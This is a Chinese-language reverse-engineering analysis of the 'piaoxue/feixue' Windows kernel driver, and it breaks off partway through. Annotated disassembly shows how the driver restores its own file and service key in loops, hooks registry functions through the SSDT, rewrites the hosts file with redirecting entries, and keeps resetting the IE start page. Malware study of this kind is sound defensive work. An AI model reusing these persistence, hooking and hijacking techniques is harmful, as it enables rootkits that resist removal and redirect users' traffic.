piaoxue/feixue驱动程序分析

 首先是由于这个驱动是注册为在Boot Bus Extender组里的，所以在操作系统加载时，该驱动就会被加载

这时会执行DriverReinitializationRoutine这个例程:

; *************** S U B R O U T I N E ***************************************

DriverReinitializationRoutine proc near



DriverObject = dword ptr  4


  call Test_SystemRoot

;调用测试系统根目录的代码,检测系统根目录是否加载成功
  test eax, eax
  jnz short Root_Loaded
;若加载成功，则跳往Root_Loaded

  push eax  ; Context
  push offset DriverReinitializationRoutine ; DriverReinitializationRoutine
  push [esp+8+DriverObject] ; DriverObject
  call ds:IoRegisterDriverReinitialization
;若不成功，则调用Reinitialization函数，直到Root加载成功为止
  jmp short locret_116EC


Root_Loaded:
  push 1
  call ReCreateSYSFile


;若加载成功，则传入参数1，跳往ReCreateSYSFile.作用是检查自身的驱动文件及服务项是否存在
;l若不存在（被杀毒软件等杀掉）就重新建立，以达到其杀而复活的目的

locret_116EC:
  retn 0Ch
DriverReinitializationRoutine endp



;以下是这个ReCreateSYSFile函数

; *************** S U B R O U T I N E ***************************************


ReCreateSYSFile proc near

     ; start+12Ep
FileHandle = byte ptr -104h

arg_0  = dword ptr  8

  push ebp
  mov ebp, esp
  sub esp, 104h
  push esi
  push 104h  ; size_t
  lea eax, [ebp+FileHandle]
  push 0  ; int
  push eax  ; void *
  call memset
  push offset unk_11B30

;这里存放着驱动的随机文件名

  lea eax, [ebp+FileHandle]
  push offset s_SystemrootS_1 ; "[url=file:////SystemRoot//system32//drivers//%s.sys]//SystemRoot//system32//drivers//%s.sys[/url]"
  push eax  ; char *
  call ds:sprintf

;生成当前驱动的随机文件名

  mov esi, ds:__imp_ZwClose
  add esp, 18h
  cmp [ebp+arg_0], 1

;检测arg_0参数是否为1
;如果=1则是在刚才在Reinit那里传入的，继续，否则跳loc_115d1

  jnz short loc_115D1

  mov eax, Handle

  test eax, eax

  jz short loc_115C0

;Handle是否为0
;为0则跳loc_11520

  push eax  ; Handle
  call esi ; __imp_ZwClose

;不为0，关闭文件

  and Handle, 0

;handle清0

loc_115C0:  
  push offset dword_12050 ; int
  lea eax, [ebp+FileHandle]
  push eax  ; FileHandle
  call ReCreateFile

;调用文件重建子程序

loc_115D1:   
  cmp [ebp+arg_0], 0
  jnz short loc_115FB

;若是Reinit那里push 1的，则跳loc_115fb

  mov eax, dword_12050
  test eax, eax
  jz short loc_115EA
  push eax  ; Handle
  call esi ; __imp_ZwClose
  and dword_12050, 0

loc_115EA:
  push offset Handle ; int
  lea eax, [ebp+FileHandle]
  push eax  ; FileHandle
  call ReCreateFile

loc_115FB:

;这里结束此子程序
  pop esi
  leave
  retn 4
sub_1156A endp



;;下面是文件重建子程序:
;;ReCreateFile


; *************** S U B R O U T I N E ***************************************
; Attributes: bp-based frame
; int __stdcall sub_109D2(HANDLE FileHandle,int)

ReCreateFile proc near

ObjectAttributes= OBJECT_ATTRIBUTES ptr -34h
IoStatusBlock = _IO_STATUS_BLOCK ptr -1Ch
DestinationString= STRING ptr -14h
UnicodeString = UNICODE_STRING ptr -0Ch
var_4  = dword ptr -4
FileHandle = dword ptr  8
arg_4  = dword ptr  0Ch


push ebp
  mov ebp, esp
  sub esp, 34h
  push esi
  xor esi, esi
  cmp [ebp+FileHandle], esi
  mov [ebp+var_4], esi
  jz loc_10AA0
  push [ebp+FileHandle] ; SourceString
  lea eax, [ebp+DestinationString]
  push eax  ; DestinationString
  call ds:RtlInitAnsiString


  push 1  ; AllocateDestinationString
  lea eax, [ebp+DestinationString]
  push eax  ; SourceString
  lea eax, [ebp+UnicodeString]
  push eax  ; DestinationString
  call ds:RtlAnsiStringToUnicodeString

;ansi字符串转 unicode字符串，因内核函数接口参数都必须用unicode编码

  cmp eax, esi
  jl loc_10AA0
  lea ecx, [ebp+UnicodeString]
  push ebx
  mov [ebp+ObjectAttributes.ObjectName], ecx
  mov ecx, [ebp+arg_4]
  cmp [ecx+4], esi
  push edi
  mov edi, ds:ZwCreateFile
  mov [ebp+ObjectAttributes.Length], 18h
  mov [ebp+ObjectAttributes.RootDirectory], esi
  mov [ebp+ObjectAttributes.Attributes], 240h
  mov [ebp+ObjectAttributes.SecurityDescriptor], esi
  mov [ebp+ObjectAttributes.SecurityQualityOfService], esi
  mov ebx, 80h
  jnz short loc_10A5B
  push esi  ; EaLength
  push esi  ; EaBuffer
  push 40h  ; CreateOptions
  push 1  ; CreateDisposition
  push 1  ; ShareAccess
  push ebx  ; FileAttributes
  push esi  ; AllocationSize
  lea eax, [ebp+IoStatusBlock]
  push eax  ; IoStatusBlock
  lea eax, [ebp+ObjectAttributes]
  push eax  ; ObjectAttributes
  push 80000000h ; DesiredAccess
  lea eax, [ebp+FileHandle]
  push eax  ; FileHandle
  call edi ; ZwCreateFile

;调用ZwCreateFile来创建文件
loc_10A5B:
  mov ecx, [ebp+arg_4]
  cmp dword ptr [ecx+4], 1
  jnz short loc_10A81
  push esi  ; EaLength
  push esi  ; EaBuffer
  push 40h  ; CreateOptions
  push 1  ; CreateDisposition
  push 1  ; ShareAccess
  push ebx  ; FileAttributes
  push esi  ; AllocationSize
  lea eax, [ebp+IoStatusBlock]
  push eax  ; IoStatusBlock
  lea eax, [ebp+ObjectAttributes]
  push eax  ; ObjectAttributes
  push 10000h  ; DesiredAccess
  lea eax, [ebp+FileHandle]
  push eax  ; FileHandle
  call edi ; ZwCreateFile

loc_10A81:  cmp eax, esi
  pop edi
  pop ebx
  jl short loc_10A96
  mov eax, [ebp+FileHandle]
  mov ecx, [ebp+arg_4]
  mov [ecx], eax
  mov [ebp+var_4], 1

loc_10A96:
  lea eax, [ebp+UnicodeString]
  push eax  ; UnicodeString
  call ds:RtlFreeUnicodeString

loc_10AA0:

  mov eax, [ebp+var_4]
  pop esi
  leave
  retn 8
sub_109D2 endp



以上就是驱动在操作系统 加载时所做的事，主要就是还原及占住自身，防止被杀毒软件的重启后删除或驱动程序破坏

start  proc near
;以下是驱动程序启动时执行的代码

AnsiString = STRING ptr -14h
SourceString = UNICODE_STRING ptr -0Ch
var_4  = dword ptr -4
DriverObject = dword ptr  8
Handle  = dword ptr  0Ch
  push ebp
  mov ebp, esp
  sub esp, 14h
  push edi
  push [ebp+Handle]
  xor edi, edi
  mov [ebp+var_4], edi
  call sub_11600
  test eax, eax
  jz short loc_11725
  mov eax, 0C0000001h
  jmp loc_1186F

loc_11725:


  push ebx
  push esi
  push 104h  ; size_t
  push edi  ; int
  push offset unk_11B30 ; void *
  call memset
  mov esi, 208h
  push esi  ; size_t
  push edi  ; int
  mov ebx, offset word_11C38
  push ebx  ; void *
  call memset
  push esi  ; size_t
  push edi  ; int
  mov esi, offset unk_11E40
  push esi  ; void *
  call memset
  mov eax, [ebp+Handle]
  movzx ecx, word ptr [eax]
  push ecx  ; size_t
  push dword ptr [eax+4] ; void *
  push esi  ; void *
  call memcpy
  push esi  ; wchar_t *
  call ds:_wcslwr
  push 5Ch  ; wchar_t
  push esi  ; wchar_t *
  call ds:wcsrchr
  add esp, 3Ch
  cmp eax, edi
  jz loc_1186A
  add eax, 2
  push eax  ; SourceString
  lea eax, [ebp+SourceString]
  push eax  ; DestinationString
  call ds:RtlInitUnicodeString
  movzx eax, [ebp+SourceString.Length]
  push eax  ; size_t
  push [ebp+SourceString.Buffer] ; void *
  push ebx  ; void *
  call memcpy
  push ebx  ; wchar_t *
  call ds:_wcslwr
  add esp, 10h
  push 1  ; AllocateDestinationString
  lea eax, [ebp+SourceString]
  push eax  ; SourceString
  lea eax, [ebp+AnsiString]
  push eax  ; DestinationString
  call ds:RtlUnicodeStringToAnsiString
  cmp eax, edi
  mov [ebp+var_4], eax
  jl loc_1186A
  movzx eax, [ebp+AnsiString.Length]
  push eax  ; size_t
  push [ebp+AnsiString.Buffer] ; void *
  mov esi, offset unk_11B30
  push esi  ; void *
  call memcpy
  push esi  ; char *
  call ds:_strlwr
  add esp, 10h
  call GetEPAddress
;此子程序的用处是取得进程名在Eprocess中偏移


  mov esi, ds sCreateSystemThread
  push edi  ; StartContext
  push offset sub_10AA8 ; StartRoutine
  push edi  ; ClientId
  push edi  ; ProcessHandle
  push edi  ; ObjectAttributes
  mov dword_12048, eax
  push edi  ; DesiredAccess
  lea eax, [ebp+Handle]
  push eax  ; ThreadHandle
  call esi ; PsCreateSystemThread

;这里创建一个入口为sub_10AA8的系统线程

  push [ebp+Handle] ; Handle
  mov ebx, ds:__imp_ZwClose
  call ebx ; __imp_ZwClose
  mov dword_12054, 1
  mov dword_12050, edi
  mov dword_1205C, edi
  mov Handle, edi
  call Test_SystemRoot

;检查系统Root目录是否加载成功


  test eax, eax
  jz short loc_1184D
;若不成功则跳loc_1184D

  push 1
  call ReCreateSYSFile

;这里重建驱动程序文件

  push edi  ; StartContext
  push offset StartRoutine ; StartRoutine
  push edi  ; ClientId
  push edi  ; ProcessHandle
  push edi  ; ObjectAttributes
  push edi  ; DesiredAccess
  lea eax, [ebp+Handle]
  push eax  ; ThreadHandle
  call esi ; PsCreateSystemThread

;创建一个入口为StartRoutine的系统线程

  push [ebp+Handle] ; Handle
  call ebx ; __imp_ZwClose
  jmp short loc_11860
; ---------------------------------------------------------------------------

loc_1184D:
;这里是TestSystemRoot不成功时跳向的地方


  push [ebp+DriverObject] ; DriverObject
  call sub_116EF

;这里是重调用IoRegisterDriverReinitialization
;也就是继续等待直到SystemRoot加载成功


  push edi  ; Remove
  push offset NotifyRoutine ; NotifyRoutine
  call PsSetCreateProcessNotifyRoutine

;设置Notify例程,入口为NotifyRoutine


loc_11860:

  lea eax, [ebp+AnsiString]
  push eax  ; AnsiString
  call ds:RtlFreeAnsiString

loc_1186A:    ; CODE XREF: start+78j start+B9j
  mov eax, [ebp+var_4]
  pop esi
  pop ebx

loc_1186F:    ; CODE XREF: start+1Dj
  pop edi
  leave
  retn 8
start  endp


; *************** S U B R O U T I N E ***************************************

GetEPAddress proc near


  push 0Ch
  push offset dword_105D0
  call sub_118B0
  call ds:IoGetCurrentProcess
  mov ebx, eax

;Eprocess基地址

  xor edi, edi]

;初始化偏移为0

  mov [ebp-4], edi
  mov esi, offset s_System ; "System"

;进程名串

loc_10F84:

  mov [ebp-1Ch], edi
  cmp edi, 3000h

;在12K范围中扫描

  jge short loc_10FBA
  push esi  ; char *
  call strlen
;取字串长
  push eax  ; size_t
  lea eax, [edi+ebx]
  push eax  ; char *
  push esi  ; char *
  call ds:strncmp

;比较扫描指针处是否为进程名

  add esp, 10h
  test eax, eax
  jnz short loc_10FB0
  or dword ptr [ebp-4], 0FFFFFFFFh
  mov eax, edi
  jmp short loc_10FC0
; ---------------------------------------------------------------------------
loc_10FB0:
  inc edi
  jmp short loc_10F84
; ---------------------------------------------------------------------------
loc_10FB3:
  xor eax, eax
  inc eax
  retn
; ---------------------------------------------------------------------------
loc_10FB7:
  mov esp, [ebp-18h]

loc_10FBA:  or dword ptr [ebp-4], 0FFFFFFFFh
  xor eax, eax

loc_10FC0:
  call sub_118EB
  retn
GetEPAddress endp ; sp = -8



sub_118EB proc near
mov     ecx, [ebp-10h]
mov     large fs:0, ecx
pop     ecx
pop     edi
pop     esi
pop     ebx
leave
push    ecx
retn
sub_118EB endp

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ReCreateSYSFile proc near


FileHandle = byte ptr -104h
arg_0  = dword ptr  8
  push ebp
  mov ebp, esp
  sub esp, 104h
  push esi
  push 104h  ; size_t
  lea eax, [ebp+FileHandle]
  push 0  ; int
  push eax  ; void *
  call memset
  push offset unk_11B30
  lea eax, [ebp+FileHandle]
  push offset s_SystemrootS_1 ; "[url=file:////SystemRoot//system32//drivers//%s.sys]//SystemRoot//system32//drivers//%s.sys[/url]"
  push eax  ; char *
  call ds:sprintf

;得到驱动文件名

  mov esi, ds:__imp_ZwClose


  add esp, 18h
  cmp [ebp+arg_0], 1
  jnz short loc_115D1
  mov eax, Handle
  test eax, eax
  jz short loc_115C0
  push eax  ; Handle
  call esi ; __imp_ZwClose

;关闭文件

  and Handle, 0

loc_115C0:
  push offset dword_12050 ; int
  lea eax, [ebp+FileHandle]
  push eax  ; FileHandle
  call ReCreateFile

loc_115D1:    ; CODE XREF: sub_1156A+41j
  cmp [ebp+arg_0], 0
  jnz short loc_115FB
  mov eax, dword_12050
  test eax, eax
  jz short loc_115EA
  push eax  ; Handle
  call esi ; __imp_ZwClose
  and dword_12050, 0

loc_115EA:
  push offset Handle ; int
  lea eax, [ebp+FileHandle]
  push eax  ; FileHandle
  call ReCreateFile

loc_115FB:
  pop esi
  leave
  retn 4
ReCreateSYSFile endp


sub_116EF proc near  ; CODE XREF: start+14Dp
DriverObject = dword ptr  4


  push 0  ; Context
  push offset DriverReinitializationRoutine ; DriverReinitializationRoutine
  push [esp+8+DriverObject] ; DriverObject
  call ds:IoRegisterDriverReinitialization
;调用IoRegisterDriverReinitialization
;继续等待SystemRoot加载成功



  retn 4
sub_116EF endp

;;接下来是分析建立的一个系统线程
;;指向sub_10AA8

; *************** S U B R O U T I N E ***************************************
; Attributes: bp-based frame
; void __stdcall sub_10AA8(PVOID)
sub_10AA8 proc near

SourceString = word ptr -37Ch
var_312  = dword ptr -312h
var_174  = byte ptr -174h
var_70  = dword ptr -70h
DestinationString= UNICODE_STRING ptr -68h
var_60  = dword ptr -60h
var_58  = dword ptr -58h
var_50  = dword ptr -50h
ValueName = UNICODE_STRING ptr -48h
var_40  = dword ptr -40h
var_38  = dword ptr -38h
ObjectAttributes= OBJECT_ATTRIBUTES ptr -30h
Interval = LARGE_INTEGER ptr -18h
var_10  = dword ptr -10h
Data  = dword ptr -0Ch
var_8  = dword ptr -8
Handle  = dword ptr -4



push ebp
  mov ebp, esp
  sub esp, 37Ch
  push ebx
  push esi
  push edi
  push 40h
  pop ecx
  xor eax, eax
  xor ebx, ebx
  mov [ebp+var_174], bl
  lea edi, [ebp-173h]
  rep stosd
  stosw
  stosb
  push 1Ah
  pop ecx
  mov esi, offset s_RegistryMachi ; /registry/machine/system/currentcontrolset/services/

;;系统服务注册表项


  lea edi, [ebp+SourceString]
  rep movsd
  movsw
  push 67h
  pop ecx
  xor eax, eax
  lea edi, [ebp+var_312]
  rep stosd
  stosw
  mov edi, offset word_11C38
  lea eax, [ebp+SourceString]
  push edi  ; wchar_t *
  push eax  ; wchar_t *
  mov [ebp+var_8], 1
  call ds:wcscat
  mov esi, ds:RtlInitUnicodeString
  pop ecx
  pop ecx
  lea eax, [ebp+SourceString]
  push eax  ; SourceString
  lea eax, [ebp+DestinationString]
  push eax  ; DestinationString
  call esi ; RtlInitUnicodeString
  lea eax, [ebp+DestinationString]
  mov [ebp+ObjectAttributes.ObjectName], eax
  push offset s_Imagepath ; "ImagePath"

;服务的ImagePatch属性

  lea eax, [ebp+ValueName]
  push eax  ; DestinationString
  mov [ebp+ObjectAttributes.Length], 18h
  mov [ebp+ObjectAttributes.RootDirectory], ebx
  mov [ebp+ObjectAttributes.Attributes], 240h
  mov [ebp+ObjectAttributes.SecurityDescriptor], ebx
  mov [ebp+ObjectAttributes.SecurityQualityOfService], ebx
  call esi ; RtlInitUnicodeString
  push offset s_Start ; "Start"
;服务的启动属性


  lea eax, [ebp+var_50]
  push eax  ; DestinationString
  call esi ; RtlInitUnicodeString
  push offset s_Type ; "Type"
;服务的类型属性


  lea eax, [ebp+var_38]
  push eax  ; DestinationString
  call esi ; RtlInitUnicodeString
  push offset s_Errorcontrol ; "ErrorControl"

;ErrorControl


  lea eax, [ebp+var_58]
  push eax  ; DestinationString
  call esi ; RtlInitUnicodeString
  push offset s_Displayname ; "DisplayName"
;显示名


  lea eax, [ebp+var_70]
  push eax  ; DestinationString
  call esi ; RtlInitUnicodeString
  push offset s_Group ; "Group"

;组
  lea eax, [ebp+var_40]
  push eax  ; DestinationString
  call esi ; RtlInitUnicodeString
  or dword ptr [ebp+Interval+4], 0FFFFFFFFh
  push offset unk_11B30
  lea eax, [ebp+var_174]
  push offset s_System32Drive ; "System32//DRIVERS//%s.sys"


  push eax  ; char *
  mov dword ptr [ebp+Interval], 0FE363C80h
  call ds:sprintf

得到驱动随机文件名
  add esp, 0Ch
  lea eax, [ebp+var_174]
  push eax  ; SourceString
  lea eax, [ebp+var_60]
  push eax  ; DestinationString
  call ds:RtlInitAnsiString
  push 1  ; AllocateDestinationString
  lea eax, [ebp+var_60]
  push eax  ; SourceString
  lea eax, [ebp+var_10]
  push eax  ; DestinationString
  call ds:RtlAnsiStringToUnicodeString
  test eax, eax
  jl loc_10C93
  mov esi, ds:__imp_ZwSetValueKey

loc_10BCF:
  push ebx  ; Disposition
  push ebx  ; CreateOptions
  push ebx  ; Class
  push ebx  ; TitleIndex
  lea eax, [ebp+ObjectAttributes]
  push eax  ; ObjectAttributes
  push 2  ; DesiredAccess
  lea eax, [ebp+Handle]
  push eax  ; KeyHandle
  call ds:ZwCreateKey

;调用ZwCreateKey创建这个服务键值


  test eax, eax
  jl loc_10C82
;创建是否成功
;如果失败了 等待下次执行执行线程继续试着写键值


  movzx eax, word ptr [ebp+var_10]
  inc eax
  inc eax
  push eax  ; DataSize
  push [ebp+Data] ; Data
  lea eax, [ebp+ValueName]
  push 2  ; Type
  push ebx  ; TitleIndex
  push eax  ; ValueName
  push [ebp+Handle] ; KeyHandle
  mov [ebp+var_8], 1
  call esi ; __imp_ZwSetValueKey

;调用ZwSetValueKey来写注册表服务键值
;以下的ZwSetValueKey都是在写这个服务键值的各个部分
;(ImagePath,Type.......)

  push 4  ; DataSize
  lea eax, [ebp+var_8]
  push eax  ; Data
  push 4  ; Type
  push ebx  ; TitleIndex
  lea eax, [ebp+var_38]
  push eax  ; ValueName
  push [ebp+Handle] ; KeyHandle
  call esi ; __imp_ZwSetValueKey
  push 4  ; DataSize
  lea eax, [ebp+var_8]
  push eax  ; Data
  push 4  ; Type
  push ebx  ; TitleIndex
  lea eax, [ebp+var_58]
  push eax  ; ValueName
  push [ebp+Handle] ; KeyHandle
  call esi ; __imp_ZwSetValueKey
  push edi  ; wchar_t *
  call ds:wcslen
  pop ecx
  shl eax, 1
  push eax  ; DataSize
  push edi  ; Data
  push 1  ; Type
  push ebx  ; TitleIndex
  lea eax, [ebp+var_70]
  push eax  ; ValueName
  push [ebp+Handle] ; KeyHandle
  call esi ; __imp_ZwSetValueKey
  push offset s_SystemBusExte ; "System Bus Extender"
  call ds:wcslen
  pop ecx
  shl eax, 1
  push eax  ; DataSize
  push offset s_SystemBusExte ; "System Bus Extender"
;设置 组为System Bus Extender


push 1  ; Type
  push ebx  ; TitleIndex
  lea eax, [ebp+var_40]
  push eax  ; ValueName
  push [ebp+Handle] ; KeyHandle
  call esi ; __imp_ZwSetValueKey
  push 4  ; DataSize
  lea eax, [ebp+var_8]
  push eax  ; Data
  push 4  ; Type
  push ebx  ; TitleIndex
  lea eax, [ebp+var_50]
  push eax  ; ValueName
  push [ebp+Handle] ; KeyHandle
  mov [ebp+var_8], ebx
  call esi ; __imp_ZwSetValueKey
  push [ebp+Handle] ; Handle
  call ds:__imp_ZwClose


;调用Zw_Close关闭注册表键值


loc_10C82:   lea eax, [ebp+Interval]
  push eax  ; Interval
  push ebx  ; Alertable
  push ebx  ; WaitMode
  call ds:KeDelayExecutionThread

;等待知道该线程再次被CPU执行


  jmp loc_10BCF
;跳向loc_10BCF
;再来创建一遍服务键值

;这样只要这个线程存在，就无法删除它的服务项---------会一直不停地创建自己的服务项目


; ---------------------------------------------------------------------------
loc_10C93:
  pop edi
  pop esi
  pop ebx
  leave
  retn 4
sub_10AA8 endp


如上，该线程的作用就是一直不停地重写自己的注册表服务项。以达到防止自身注册表项目被删除的目的

;以下分析系统的StartRoutine子程序
;start会创建一个指向StartRoutine的线程
;这个线程很简单



; *************** S U B R O U T I N E ***************************************
; Attributes: bp-based frame
; void __stdcall StartRoutine(PVOID)

StartRoutine proc near  


Interval = LARGE_INTEGER ptr -8
  push ebp
  mov ebp, esp
  push ecx
  push ecx
  or dword ptr [ebp+Interval+4], 0FFFFFFFFh
  mov dword ptr [ebp+Interval], 0FE363C80h
  call Hook_System_Service

;该子程序的主要作用是挂钩以下系统服务函数:
;ZwOpenKey
;ZwSetValueKey
;ZwEnumerateKey
;ZwClose

;也就是挂钩注册表相关函数


  call Write_Bad_Host;

;该子程序的主要作用是篡改系统Hosts表
;将以下内容写入hosts中

;222.88.90.22    9505.com
;222.88.90.22   www.9505.com

;222.88.90.22    4199.com
;222.88.90.22  www.4199.com
;127.0.0.1       www.arswp.com


loc_111AB:
  push offset s_Www_feixue_ne ; www.feixue.net

  call Write_StartPage

;这里的作用是将www.feixue.net这个地址写入IE的首页设置中

  lea eax, [ebp+Interval]
  push eax  ; Interval
  push 0  ; Alertable
  push 0  ; WaitMode
  call ds:KeDelayExecutionThread

;等待直到下次执行次线程
  jmp short loc_111AB

;跳回loc_111AB，也就是不停地写入注册表的IE首页设置
;只要此线程存在，就无法将IE首页设置修改掉，因为它会不断被调用，不断重写IE首页设置
StartRoutine endp

; *************** S U B R O U T I N E ***************************************

Hook_System_Service proc near

  call sub_11368
;此子程序是用来创建一个Section,供修改SSDT之用
;篇幅关系不复制程序代码了

  test eax, eax
  jnz short loc_10ED5
;成功创建并映射
  retn
; ---------------------------------------------------------------------------
loc_10ED5:    ; CODE XREF: sub_10ECB+7j
  push ebx
  push ebp
  push esi
  mov esi, ds:__imp_ZwOpenKey
  push edi
  push esi
  call sub_11466

;这个函数是Hook的核心函数
;先Hook ZwOpenKey函数

mov edi, ds:__imp_ZwSetValueKey
  push edi
  mov off_11900, eax
  call sub_11466

;Hook ZwSetValueKey函数

  mov ebx, ds:__imp_ZwEnumerateKey
  push ebx
  mov off_11908, eax
  call sub_11466

;Hook ZwEnumerateKey函数


  mov ebp, ds:__imp_ZwClose
  push ebp
  mov off_1190C, eax
  call sub_11466

;Hook ZwClose函数
  mov off_11904, eax
  call sub_114A0
  xor eax, eax
  cmp off_11900, eax
  jz short loc_10F47
  cmp off_11908, eax
  jz short loc_10F47
  cmp off_1190C, eax
  jz short loc_10F47
  cmp off_11904, eax
  jz short loc_10F47
  inc eax
  jmp short loc_10F61
; ---------------------------------------------------------------------------
loc_10F47:
  mov off_11900, esi
  mov off_11904, ebp
  mov off_11908, edi
  mov off_1190C, ebx
  xor eax, eax

loc_10F61:
  pop edi
  pop esi
  pop ebp
  pop ebx
  retn
sub_10ECB endp

sub_11466 proc near

;Hook子程序

arg_0  = dword ptr  4
  mov eax, BaseAddress
  test eax, eax
  jz short locret_1149D
  mov ecx, [esp+arg_0]
  mov ecx, [ecx+1]
  test ch, 30h
  push esi
  jnz short loc_1149A
  push ecx
  push eax
  push dword_1191C
  call sub_10E71
  mov esi, eax
  push esi  ; VirtualAddress
  call ds:MmIsAddressValid
  test al, al
  jz short loc_1149A
  mov eax, esi
  jmp short loc_1149C

; ---------------------------------------------------------------------------
loc_1149A:
  xor eax, eax

loc_1149C:
  pop esi

locret_1149D:   retn 4
sub_11466 endp

sub_10E71 proc near

var_8  = dword ptr -8
var_4  = dword ptr -4
arg_0  = dword ptr  8
arg_4  = dword ptr  0Ch
arg_8  = dword ptr  10h
  push ebp
  mov ebp, esp
  push ecx
  push ecx
  push ebx
  push edi
  mov edi, [ebp+arg_4]
  push edi
  xor ebx, ebx
  call sub_10E60
  test eax, eax
  jz short loc_10EC5
  push esi
  push eax
  push edi
  call sub_10CE7
  mov esi, eax
  test esi, esi
  jz short loc_10EC4
  lea eax, [ebp+var_4]
  push eax
  lea eax, [ebp+arg_4]
  push eax
  lea eax, [ebp+var_8]
  push eax
  push edi
  call sub_10C9A
  mov eax, [ebp+arg_8]
  mov ecx, [ebp+arg_4]
  lea eax, [esi+eax*4]
  add eax, edi
  mov eax, [eax]
  sub eax, [ecx+1Ch]
  cmp eax, [ecx+38h]
  jnb short loc_10EC2
  mov ecx, [ebp+arg_0]
  lea ebx, [eax+ecx]

loc_10EC2:    ; CODE XREF: sub_10E71+49j
  mov eax, ebx

loc_10EC4:    ; CODE XREF: sub_10E71+22j
  pop esi

loc_10EC5:    ; CODE XREF: sub_10E71+14j
  pop edi
  pop ebx
  leave
  retn 0Ch
sub_10E71 endp

sub_10E60 proc near
arg_0= dword ptr  4
push    offset s_Keservicedesc ; "KeServiceDescriptorTable"

;push KeServiceDescriptorTable..
;终于到这里了。。。修改这个表咯。。。。

push    [esp+4+arg_0]
call    sub_10DE9
retn    4
sub_10E60 endp

*************** S U B R O U T I N E ***************************************
;;下面这个子程序是修改系统HOSTS表

; Attributes: bp-based frame
sub_107BD proc near


FileInformation = dword ptr -5Ch
var_54  = dword ptr -54h
ObjectAttributes= OBJECT_ATTRIBUTES ptr -44h
var_2C  = dword ptr -2Ch
DestinationString= UNICODE_STRING ptr -24h
IoStatusBlock = _IO_STATUS_BLOCK ptr -1Ch
FileHandle = dword ptr -14h
var_10  = dword ptr -10h
Length  = dword ptr -0Ch
P  = dword ptr -8
Handle  = dword ptr -4


  push ebp
  mov ebp, esp
  sub esp, 5Ch
  push ebx
  push esi
  push offset SourceString ; "[url=file:////SystemRoot//system32//drivers//etc//hosts]//SystemRoot//system32//drivers//etc//hosts[/url]"
;这里是要写的系统HOSTS表位置哦！

  lea eax, [ebp+DestinationString]
  push eax  ; DestinationString
  call ds:RtlInitUnicodeString
  push 18h
  pop esi
  xor ebx, ebx
  push ebx  ; EaLength
  push ebx  ; EaBuffer
  push 60h  ; CreateOptions
  push 1  ; CreateDisposition
  push 3  ; ShareAccess
  push 80h  ; FileAttributes
  lea eax, [ebp+DestinationString]
  mov [ebp+ObjectAttributes.ObjectName], eax
  push ebx  ; AllocationSize
  lea eax, [ebp+IoStatusBlock]
  push eax  ; IoStatusBlock
  lea eax, [ebp+ObjectAttributes]
  push eax  ; ObjectAttributes
  push 100003h  ; DesiredAccess
  lea eax, [ebp+Handle]
  push eax  ; FileHandle
  mov [ebp+ObjectAttributes.Length], esi
  mov [ebp+ObjectAttributes.RootDirectory], ebx
  mov [ebp+ObjectAttributes.Attributes], 240h
  mov [ebp+ObjectAttributes.SecurityDescriptor], ebx
  mov [ebp+ObjectAttributes.SecurityQualityOfService], ebx
  mov [ebp+Handle], ebx
  call ds:ZwCreateFile
  test eax, eax
  jl loc_109CC
  cmp dword ptr [ebp+IoStatusBlock.anonymous_0], ebx
  jl loc_109CC
  push 5  ; FileInformationClass
  push esi  ; FileInformationLength
  lea eax, [ebp+FileInformation]
  push eax  ; FileInformation
  lea eax, [ebp+IoStatusBlock]
  push eax  ; IoStatusBlock
  push [ebp+Handle] ; FileHandle
  mov [ebp+P], ebx
  call ds:ZwQueryInformationFile
  test eax, eax
  jl loc_109AB
  mov eax, [ebp+var_54]
  cmp eax, 20h
  mov [ebp+Length], eax
  jbe loc_109AB
  push edi
  mov edi, ds:ExAllocatePoolWithTag
  inc eax
  mov esi, 206B6444h
  push esi  ; Tag
  push eax  ; NumberOfBytes
  push ebx  ; PoolType
  mov [ebp+var_10], eax
  call edi ; ExAllocatePoolWithTag
  cmp eax, ebx
  mov [ebp+P], eax
  jz loc_109AA
  push [ebp+var_10] ; size_t
  push ebx  ; int
  push eax  ; void *
  call memset
  add esp, 0Ch
  push ebx  ; Key
  push ebx  ; ByteOffset
  push [ebp+Length] ; Length
  lea eax, [ebp+IoStatusBlock]
  push [ebp+P]  ; Buffer
  push eax  ; IoStatusBlock
  push ebx  ; ApcContext
  push ebx  ; ApcRoutine
  push ebx  ; Event
  push [ebp+Handle] ; FileHandle
  call ds:ZwReadFile

;先来读入文件！


  cmp eax, ebx
  mov ecx, [ebp+Length]
  mov edx, [ebp+P]
  mov [ecx+edx], bl
  jl loc_109AA
  cmp [ebp+IoStatusBlock.Information], ecx
  jnz loc_109AA
  push offset s_Feixue ; "feixue"
  push edx  ; int
  call sub_10771
  test eax, eax
  jnz short loc_108DC
  push offset s_Piaoxue ; "piaoxue"
  push [ebp+P]  ; int
  call sub_10771

;这里是检测系统hosts里面有没有
;piaoxue或者feixue
;如果有，那就说明HOSTS表已经被感染了！那就不改了！


  test eax, eax
  jz loc_109AA

Write_Bad_host:    ; CODE XREF: sub_107BD+108j
  push [ebp+var_10] ; size_t
  push ebx  ; int
  push [ebp+P]  ; void *
  call memset
  push 8  ; size_t
  lea eax, [ebp+var_2C]
  push ebx  ; int
  push eax  ; void *
  call memset
  add esp, 18h
  push 0Eh  ; FileInformationClass
  push 8  ; FileInformationLength
  lea eax, [ebp+var_2C]
  push eax  ; FileInformation
  lea eax, [ebp+IoStatusBlock]
  push eax  ; IoStatusBlock
  push [ebp+Handle] ; FileHandle
  call ds:ZwSetInformationFile
  test eax, eax
  jl loc_109AA
  push esi  ; Tag
  mov esi, 100h
  push esi  ; NumberOfBytes
  push ebx  ; PoolType
  call edi ; ExAllocatePoolWithTag
  mov edi, eax
  cmp edi, ebx
  jz short loc_10976
  push esi  ; size_t
  push ebx  ; int
  push edi  ; void *
  call memset
  push offset s_222_88_90_229 ; "222.88.90.22   9505.com"
  push offset s_222_88_90_22W ; "222.88.90.22    www.9505.com"
  push offset s_222_88_90_224 ; "222.88.90.22   4199.com"
  push offset s_222_88_90_2_0 ; "222.88.90.22    www.4199.com"
  push offset s_127_0_0_1Www_ ; "127.0.0.1    www.arswp.com"
  push offset s_SSSSS ; "%s/r/n%s/r/n%s/r/n%s/r/n%s/r/n"

; 这里就是要修改的HOSTS表内容！！
;看到arswp.com了吧！！！
;
;******************************************************************
;******************************************************************
;                                        有猫腻的！！
;
;
;******************************************************************
;******************************************************************
  push edi  ; char *
  call ds:sprintf
  add esp, 28h
  push ebx  ; Key
  push ebx  ; ByteOffset
  push edi  ; char *
  call strlen
